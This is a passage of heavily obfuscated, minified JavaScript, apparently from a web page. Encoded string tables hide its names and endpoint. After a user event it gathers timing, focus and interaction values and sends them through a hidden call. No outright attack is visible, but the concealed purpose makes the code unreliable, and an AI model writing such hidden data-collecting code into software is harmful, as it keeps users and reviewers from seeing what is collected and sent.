DVJAY2l=LvPOdg.indexOf(GmiRFn[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],yF5V3o|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function fT_qK2(vg57RPc){if(typeof IJB1Uz[vg57RPc]===PsdikXi[0x5]){return IJB1Uz[vg57RPc]=GmiRFn(epwFdN[vg57RPc])}return IJB1Uz[vg57RPc]}document[fT_qK2(0x82)](vg57RPc)?.addEventListener(fT_qK2(0x83),()=>{function vg57RPc(vg57RPc){var GmiRFn="iJz+@V[eDx:r_jp6t8|h#dv%kRG3HNFQO;&YPWn^,]C*yE\"<.A9w?Z1U}s$>g~I4T`S/)2l7m{!uB05qKf(LoMXabc=",fT_qK2,LvPOdg,NsVng4l,yF5V3o,FyCqx8,kqi_53,_LW81w;OMC960(fT_qK2=""+(vg57RPc||""),LvPOdg=fT_qK2.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<LvPOdg;_LW81w++){var DVJAY2l=GmiRFn.indexOf(fT_qK2[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],yF5V3o|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function GmiRFn(GmiRFn){if(typeof IJB1Uz[GmiRFn]===PsdikXi[0x5]){return IJB1Uz[GmiRFn]=vg57RPc(epwFdN[GmiRFn])}return IJB1Uz[GmiRFn]}if(pGFAvb){return}pGFAvb=!PsdikXi[0x0];const fT_qK2=JTKqCh();OMC960(NsVng4l[GmiRFn(0x84)](yF5V3o,fT_qK2+HTHW0NQ*PsdikXi[0x16]+""),setTimeout(()=>{function vg57RPc(vg57RPc){var GmiRFn="FX4K<g(Qvw8$>yW]O7j!2b{,N_Efkpq.VrJn^M`&uxLZTo1)|D6cY:e~C%9\"=RUa?/[GB@#5h*Iz3dP;0A}+mtlsHSi",fT_qK2,LvPOdg,NsVng4l,yF5V3o,FyCqx8,kqi_53,_LW81w;OMC960(fT_qK2=""+(vg57RPc||""),LvPOdg=fT_qK2.length,NsVng4l=[],yF5V3o=PsdikXi[0x0],FyCqx8=PsdikXi[0x0],kqi_53=-PsdikXi[0x1]);for(_LW81w=PsdikXi[0x0];_LW81w<LvPOdg;_LW81w++){var DVJAY2l=GmiRFn.indexOf(fT_qK2[_LW81w]);if(DVJAY2l===-PsdikXi[0x1])continue;if(kqi_53<PsdikXi[0x0]){kqi_53=DVJAY2l}else{OMC960(kqi_53+=DVJAY2l*PsdikXi[0xc],yF5V3o|=kqi_53<<FyCqx8,FyCqx8+=(kqi_53&PsdikXi[0xd])>PsdikXi[0xe]?PsdikXi[0xf]:PsdikXi[0x10]);do{OMC960(NsVng4l.push(yF5V3o&PsdikXi[0x3]),yF5V3o>>=PsdikXi[0x2],FyCqx8-=PsdikXi[0x2])}while(FyCqx8>PsdikXi[0x9]);kqi_53=-PsdikXi[0x1]}}if(kqi_53>-PsdikXi[0x1]){NsVng4l.push((yF5V3o|kqi_53<<FyCqx8)&PsdikXi[0x3])}return cLtQU_S(NsVng4l)}function GmiRFn(GmiRFn){if(typeof IJB1Uz[GmiRFn]===PsdikXi[0x5]){return IJB1Uz[GmiRFn]=vg57RPc(epwFdN[GmiRFn])}return IJB1Uz[GmiRFn]}return KK_Fw0s(GmiRFn(0x85),{[GmiRFn(0x86)]:FyCqx8,[GmiRFn(0x87)]:_LW81w,[GmiRFn(0x88)]:wReWznL-GlD3xX,mm:aixbaYs,dc:g8x_cF,fk:LvPOdg,[GmiRFn(0x89)]:!document[GmiRFn(0x8a)]&&document[GmiRFn(0x8b)](),ms:fT_qK2-wReWznL})[GmiRFn(0x8c)](vg57RPc=>{return vg57RPc&&setTimeout(()=>{return yIbdBU(vg57RPc)},jT_gHXL?jT_gHXL-(JTKqCh()-fT_qK2):PsdikXi[0x0])})[GmiRFn(0x8d)](()=>{return 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